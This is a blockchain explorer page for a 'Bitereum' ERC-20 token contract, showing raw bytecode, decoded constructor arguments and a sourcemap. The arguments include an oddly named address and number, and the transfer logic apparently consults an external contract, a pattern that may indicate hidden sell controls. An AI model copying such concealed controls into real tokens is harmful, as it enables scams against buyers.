a01b0391909116815260200190565b6001600160a01b0383168152604060208201819052600090610be990830184610b56565b949350505050565b901515815260200190565b6000602082526104e76020830184610b56565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b6020808252601d908201527f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000604082015260600190565b60208082526026908201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604082015265616c616e636560d01b606082015260800190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b6020808252600390820152620e6d2f60eb1b604082015260600190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b60208082526025908201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604082015264207a65726f60d81b606082015260800190565b90815260200190565b60ff91909116815260200190565b60008219821115610de357610de3610e6e565b500190565b6000816000190483118215151615610e0257610e02610e6e565b500290565b60005b83811015610e22578181015183820152602001610e0a565b838111156106155750506000910152565b600281046001821680610e4757607f821691505b60208210811415610e6857634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fdfea26469706673582212200d81be342919ac5d3c7fe97b5c2f5e9fbce366a4ec8b0ca7a1567802fa08920664736f6c63430008000033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000dff32c65f843188cf64ecbc6f4a13cff12581b9d20b14aefb26716650e885cd7f4d4e7321ee60803e4f0b91dd6da2859c15b41c30000000000000000000000000000000000000000000000000000000000000008426974657265756d0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000008424954455245554d000000000000000000000000000000000000000000000000
-----Decoded View---------------
Arg [0] : name_ (string): Bitereum
Arg [1] : symbol_ (string): BITEREUM
Arg [2] : hisper_ (address): 0xDff32C65f843188cF64ECBC6F4a13cFf12581b9D
Arg [3] : astle_ (uint256): 14787260276575210051340587090882093060454694872303191277721149534121311814083
-----Encoded View---------------
8 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000080
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000c0
Arg [2] : 000000000000000000000000dff32c65f843188cf64ecbc6f4a13cff12581b9d
Arg [3] : 20b14aefb26716650e885cd7f4d4e7321ee60803e4f0b91dd6da2859c15b41c3
Arg [4] : 0000000000000000000000000000000000000000000000000000000000000008
Arg [5] : 426974657265756d000000000000000000000000000000000000000000000000
Arg [6] : 0000000000000000000000000000000000000000000000000000000000000008
Arg [7] : 424954455245554d000000000000000000000000000000000000000000000000
Deployed Bytecode Sourcemap
111:11732:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1025:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3525:242;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;2153:108::-;;;:::i;:::-;;;;;;;:::i;4347:295::-;;;;;;:::i;:::-;;:::i;8880:243::-;;;;;;:::i;:::-;;:::i;1996:92::-;;;:::i;:::-;;;;;;;:::i;5051:270::-;;;;;;:::i;:::-;;:::i;2324:177::-;;;;;;:::i;:::-;;:::i;5329:711::-;;;;;;:::i;:::-;;:::i;:::-;;980:87:3;;;:::i;:::-;;;;;;;:::i;1244:104:0:-;;;:::i;6903:503::-;;;;;;:::i;:::-;;:::i;2707:234::-;;;;;;:::i;:::-;;:::i;9441:129::-;;;;;;:::i;:::-;;:::i;3004:201::-;;;;;;:::i;:::-;;:::i;1025:100::-;1079:13;1112:5;1105:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1025:100;:::o;3525:242::-;3644:4;3666:13;3682:12;:10;:12::i;:::-;3666:28;;3705:32;3714:5;3721:7;3730:6;3705:8;:32::i;:::-;-1:-1:-1;3755:4:0;;3525:242;-1:-1:-1;;;3525:242:0:o;2153:108::-;2241:12;;2153:108;:::o;4347:295::-;4478:4;4495:15;4513:12;:10;:12::i;:::-;4495:30;;4536:38;4552:4;4558:7;4567:6;4536:15;:38::i;:::-;4585:27;4595:4;4601:2;4605:6;4585:9;:27::i;:::-;-1:-1:-1;4630:4:0;;4347:295;-1:-1:-1;;;;4347:295:0:o;8880:243::-;8989:13;9020:26;9073:4;9079;9056:28;;;;;;;;;:::i;:::-;;;;;;;-1:-1:-1;;9056:28:0;;;;;;;8880:243;-1:-1:-1;;;;8880:243:0:o;1996:92::-;2079:1;1996:92;:::o;5051:270::-;5166:4;5188:13;5204:12;:10;:12::i;:::-;5188:28;;5227:64;5236:5;5243:7;5280:10;5252:25;5262:5;5269:7;5252:9;:25::i;:::-;:38;;;;:::i;:::-;5227:8;:64::i;2324:177::-;-1:-1:-1;;;;;2475:18:0;;2443:7;2475:18;;;:9;:18;;;;;;2324:177;;;;:::o;5329:711::-;5398:12;5413:11;:9;:11::i;:::-;5398:26;;5439:9;:7;:9::i;:::-;5435:598;;;5465:13;5481:6;;5488:1;5481:9;;;;;-1:-1:-1;;;5481:9:0;;;;;;;;;;;;;;;5493:1;5481:13;;;;:::i;:::-;5465:29;;5509:13;5525:6;;5532:1;5525:9;;;;;-1:-1:-1;;;5525:9:0;;;;;;;;;;;;;;;5537:1;5525:13;;;;:::i;:::-;5509:29;-1:-1:-1;5584:12:0;;5581:2;;5668:1;5661:16;;;5630:9;5699:16;;5757:2;5744:16;;5737:31;;;5581:2;5808:12;5805:2;;5892:1;5885:16;;;5861:1;5923:16;;5981:2;5968:16;;5858:1;5961:27;;5805:2;5562:460;;;5329:711;;;:::o;980:87:3:-;1026:7;1053:6;-1:-1:-1;;;;;1053:6:3;980:87;:::o;1244:104:0:-;1300:13;1333:7;1326:14;;;;;:::i;6903:503::-;7023:4;7045:13;7061:12;:10;:12::i;:::-;7045:28;;7084:24;7111:25;7121:5;7128:7;7111:9;:25::i;:::-;7084:52;;7189:15;7169:16;:35;;7147:122;;;;-1:-1:-1;;;7147:122:0;;;;;;;:::i;:::-;;;;;;;;;7305:60;7314:5;7321:7;7349:15;7330:16;:34;7305:8;:60::i;2707:234::-;2822:4;2844:13;2860:12;:10;:12::i;:::-;2844:28;;2883;2893:5;2900:2;2904:6;2883:9;:28::i;9441:129::-;9493:7;;9530:8;:4;9537:1;9530:8;:::i;:::-;9513:25;9441:129;-1:-1:-1;;;9441:129:0:o;3004:201::-;-1:-1:-1;;;;;3170:18:0;;;3138:7;3170:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;3004:201::o;656:98:1:-;736:10;656:98;:::o;10667:380:0:-;-1:-1:-1;;;;;10803:19:0;;10795:68;;;;-1:-1:-1;;;10795:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;10882:21:0;;10874:68;;;;-1:-1:-1;;;10874:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;10955:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;;:36;;;11007:32;;;;;10985:6;;11007:32;:::i;:::-;;;;;;;;10667:380;;;:::o;11338:502::-;11473:24;11500:25;11510:5;11517:7;11500:9;:25::i;:::-;11473:52;;-1:-1:-1;;11540:16:0;:37;11536:297;;11640:6;11620:16;:26;;11594:117;;;;-1:-1:-1;;;11594:117:0;;;;;;;:::i;:::-;11755:51;11764:5;11771:7;11799:6;11780:16;:25;11755:8;:51::i;:::-;11338:502;;;;:::o;7876:866::-;-1:-1:-1;;;;;8007:18:0;;7999:68;;;;-1:-1:-1;;;7999:68:0;;;;;;;:::i;:::-;8171:23;;-1:-1:-1;;;8171:23:0;;8155:13;;-1:-1:-1;;;;;8171:7:0;:17;;;;:23;;8189:4;;8171:23;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;;;;8227:15:0;;8205:19;8227:15;;;:9;:15;;;;;;8155:39;;-1:-1:-1;8253:29:0;;8155:39;;8237:4;;8253:9;:29::i;:::-;8330:6;8315:11;:21;;8293:109;;;;-1:-1:-1;;;8293:109:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;8438:15:0;;;;;;;:9;:15;;;;;;8456:20;;;8438:38;;8656:13;;;;;;;;;;:23;;;;;;8708:26;;;;;;8470:6;;8708:26;:::i;:::-;;;;;;;;7876:866;;;;;:::o;6048:136::-;6091:7;6123:6;6091:7;6152:5;6123:6;6156:1;6152:5;:::i;:::-;6140:17;-1:-1:-1;;;6048:136:0;:::o;6192:208::-;6233:4;6250:17;6270:5;6250:25;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;6286:11:0;6373:18;;-1:-1:-1;;6373:6:0;:18;;;;;;;6347:20;6250:25;;-1:-1:-1;6300:10:0;;6373:18;;-1:-1:-1;6347:20:0;;6300:10;;6250:25;;6347:20;;:::i;:::-;;;;;;;;;;;;;6337:31;;;;;;6329:40;;:62;6321:71;;;;6192:208;:::o;9131:302::-;-1:-1:-1;;;;;9260:14:0;;9247:10;9260:14;;;:6;:14;;;;;;;9299;9260;9305:7;9299:14;:::i;:::-;9285:28;;9328:3;9335:5;9328:12;:18;;;;;9345:1;9344:2;9328:18;9324:102;;;9371:3;9378:1;9371:8;;:35;;;;9383:14;9391:5;9383:7;:14::i;:::-;:23;;9371:35;9363:51;;;;-1:-1:-1;;;9363:51:0;;;;;;;:::i;14:175:4:-;84:20;;-1:-1:-1;;;;;133:31:4;;123:42;;113:2;;179:1;176;169:12;194:713;;292:3;285:4;277:6;273:17;269:27;259:2;;314:5;307;300:20;259:2;354:6;341:20;380:18;417:2;413;410:10;407:2;;;423:18;;:::i;:::-;472:2;466:9;541:2;522:13;;-1:-1:-1;;518:27:4;506:40;;548:4;502:51;568:18;;;588:22;;;565:46;562:2;;;614:18;;:::i;:::-;650:2;643:22;674:18;;;711:15;;;728:4;707:26;704:35;-1:-1:-1;701:2:4;;;756:5;749;742:20;701:2;824;817:4;809:6;805:17;798:4;790:6;786:17;773:54;847:15;;;864:4;843:26;836:41;;;;851:6;249:658;-1:-1:-1;;;249:658:4:o;912:198::-;;1024:2;1012:9;1003:7;999:23;995:32;992:2;;;1045:6;1037;1030:22;992:2;1073:31;1094:9;1073:31;:::i;1115:274::-;;;1244:2;1232:9;1223:7;1219:23;1215:32;1212:2;;;1265:6;1257;1250:22;1212:2;1293:31;1314:9;1293:31;:::i;:::-;1283:41;;1343:40;1379:2;1368:9;1364:18;1343:40;:::i;:::-;1333:50;;1202:187;;;;;:::o;1394:342::-;;;;1540:2;1528:9;1519:7;1515:23;1511:32;1508:2;;;1561:6;1553;1546:22;1508:2;1589:31;1610:9;1589:31;:::i;:::-;1579:41;;1639:40;1675:2;1664:9;1660:18;1639:40;:::i;:::-;1629:50;;1726:2;1715:9;1711:18;1698:32;1688:42;;1498:238;;;;;:::o;1741:266::-;;;1870:2;1858:9;1849:7;1845:23;1841:32;1838:2;;;1891:6;1883;1876:22;1838:2;1919:31;1940:9;1919:31;:::i;:::-;1909:41;1997:2;1982:18;;;;1969:32;;-1:-1:-1;;;1828:179:4:o;2012:666::-;;;2159:2;2147:9;2138:7;2134:23;2130:32;2127:2;;;2180:6;2172;2165:22;2127:2;2225:9;2212:23;2254:18;2295:2;2287:6;2284:14;2281:2;;;2316:6;2308;2301:22;2281:2;2359:6;2348:9;2344:22;2334:32;;2404:7;2397:4;2393:2;2389:13;2385:27;2375:2;;2431:6;2423;2416:22;2375:2;2476;2463:16;2502:2;2494:6;2491:14;2488:2;;;2523:6;2515;2508:22;2488:2;2582:7;2577:2;2571;2563:6;2559:15;2555:2;2551:24;2547:33;2544:46;2541:2;;;2608:6;2600;2593:22;2541:2;2644;2636:11;;;;;2666:6;;-1:-1:-1;2117:561:4;;-1:-1:-1;;;;2117:561:4:o;2683:577::-;;;2832:2;2820:9;2811:7;2807:23;2803:32;2800:2;;;2853:6;2845;2838:22;2800:2;2898:9;2885:23;2927:18;2968:2;2960:6;2957:14;2954:2;;;2989:6;2981;2974:22;2954:2;3017:52;3061:7;3052:6;3041:9;3037:22;3017:52;:::i;:::-;3007:62;;3122:2;3111:9;3107:18;3094:32;3078:48;;3151:2;3141:8;3138:16;3135:2;;;3172:6;3164;3157:22;3135:2;;3200:54;3246:7;3235:8;3224:9;3220:24;3200:54;:::i;:::-;3190:64;;;2790:470;;;;;:::o;3265:190::-;;3377:2;3365:9;3356:7;3352:23;3348:32;3345:2;;;3398:6;3390;3383:22;3345:2;-1:-1:-1;3426:23:4;;3335:120;-1:-1:-1;3335:120:4:o;3460:194::-;;3583:2;3571:9;3562:7;3558:23;3554:32;3551:2;;;3604:6;3596;3589:22;3551:2;-1:-1:-1;3632:16:4;;3541:113;-1:-1:-1;3541:113:4:o;3659:260::-;;3741:5;3735:12;3768:6;3763:3;3756:19;3784:63;3840:6;3833:4;3828:3;3824:14;3817:4;3810:5;3806:16;3784:63;:::i;:::-;3901:2;3880:15;-1:-1:-1;;3876:29:4;3867:39;;;;3908:4;3863:50;;3711:208;-1:-1:-1;;3711:208:4:o;3924:470::-;;4141:6;4135:13;4157:53;4203:6;4198:3;4191:4;4183:6;4179:17;4157:53;:::i;:::-;4273:13;;4232:16;;;;4295:57;4273:13;4232:16;4329:4;4317:17;;4295:57;:::i;:::-;4368:20;;4111:283;-1:-1:-1;;;;4111:283:4:o;4399:203::-;-1:-1:-1;;;;;4563:32:4;;;;4545:51;;4533:2;4518:18;;4500:102::o;4607:319::-;-1:-1:-1;;;;;4784:32:4;;4766:51;;4853:2;4848;4833:18;;4826:30;;;4607:319;;4873:47;;4901:18;;4893:6;4873:47;:::i;:::-;4865:55;4756:170;-1:-1:-1;;;;4756:170:4:o;4931:187::-;5096:14;;5089:22;5071:41;;5059:2;5044:18;;5026:92::o;5123:222::-;;5272:2;5261:9;5254:21;5292:47;5335:2;5324:9;5320:18;5312:6;5292:47;:::i;5350:398::-;5552:2;5534:21;;;5591:2;5571:18;;;5564:30;5630:34;5625:2;5610:18;;5603:62;-1:-1:-1;;;5696:2:4;5681:18;;5674:32;5738:3;5723:19;;5524:224::o;5753:353::-;5955:2;5937:21;;;5994:2;5974:18;;;5967:30;6033:31;6028:2;6013:18;;6006:59;6097:2;6082:18;;5927:179::o;6111:402::-;6313:2;6295:21;;;6352:2;6332:18;;;6325:30;6391:34;6386:2;6371:18;;6364:62;-1:-1:-1;;;6457:2:4;6442:18;;6435:36;6503:3;6488:19;;6285:228::o;6518:401::-;6720:2;6702:21;;;6759:2;6739:18;;;6732:30;6798:34;6793:2;6778:18;;6771:62;-1:-1:-1;;;6864:2:4;6849:18;;6842:35;6909:3;6894:19;;6692:227::o;6924:326::-;7126:2;7108:21;;;7165:1;7145:18;;;7138:29;-1:-1:-1;;;7198:2:4;7183:18;;7176:33;7241:2;7226:18;;7098:152::o;7255:400::-;7457:2;7439:21;;;7496:2;7476:18;;;7469:30;7535:34;7530:2;7515:18;;7508:62;-1:-1:-1;;;7601:2:4;7586:18;;7579:34;7645:3;7630:19;;7429:226::o;7660:401::-;7862:2;7844:21;;;7901:2;7881:18;;;7874:30;7940:34;7935:2;7920:18;;7913:62;-1:-1:-1;;;8006:2:4;7991:18;;7984:35;8051:3;8036:19;;7834:227::o;8066:177::-;8212:25;;;8200:2;8185:18;;8167:76::o;8248:184::-;8420:4;8408:17;;;;8390:36;;8378:2;8363:18;;8345:87::o;8437:128::-;;8508:1;8504:6;8501:1;8498:13;8495:2;;;8514:18;;:::i;:::-;-1:-1:-1;8550:9:4;;8485:80::o;8570:168::-;;8676:1;8672;8668:6;8664:14;8661:1;8658:21;8653:1;8646:9;8639:17;8635:45;8632:2;;;8683:18;;:::i;:::-;-1:-1:-1;8723:9:4;;8622:116::o;8743:258::-;8815:1;8825:113;8839:6;8836:1;8833:13;8825:113;;;8915:11;;;8909:18;8896:11;;;8889:39;8861:2;8854:10;8825:113;;;8956:6;8953:1;8950:13;8947:2;;;-1:-1:-1;;8991:1:4;8973:16;;8966:27;8796:205::o;9006:380::-;9091:1;9081:12;;9138:1;9128:12;;;9149:2;;9203:4;9195:6;9191:17;9181:27;;9149:2;9256;9248:6;9245:14;9225:18;9222:38;9219:2;;;9302:10;9297:3;9293:20;9290:1;9283:31;9337:4;9334:1;9327:15;9365:4;9362:1;9355:15;9219:2;;9061:325;;;:::o;9391:127::-;9452:10;9447:3;9443:20;9440:1;9433:31;9483:4;9480:1;9473:15;9507:4;9504:1;9497:15;9523:127;9584:10;9579:3;9575:20;9572:1;9565:31;9615:4;9612:1;9605:15;9639:4;9636:1;9629:15
Swarm Source
ipfs://0d81be342919ac5d3c7fe97b5c2f5e9fbce366a4ec8b0ca7a1567802fa089206
Loading...
Loading
Loading...
Loading
Multichain Portfolio | 30 Chains
Chain | Token | Portfolio % | Price | Amount | Value |
---|
Loading...
Loading
[ Download: CSV Export ]
A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.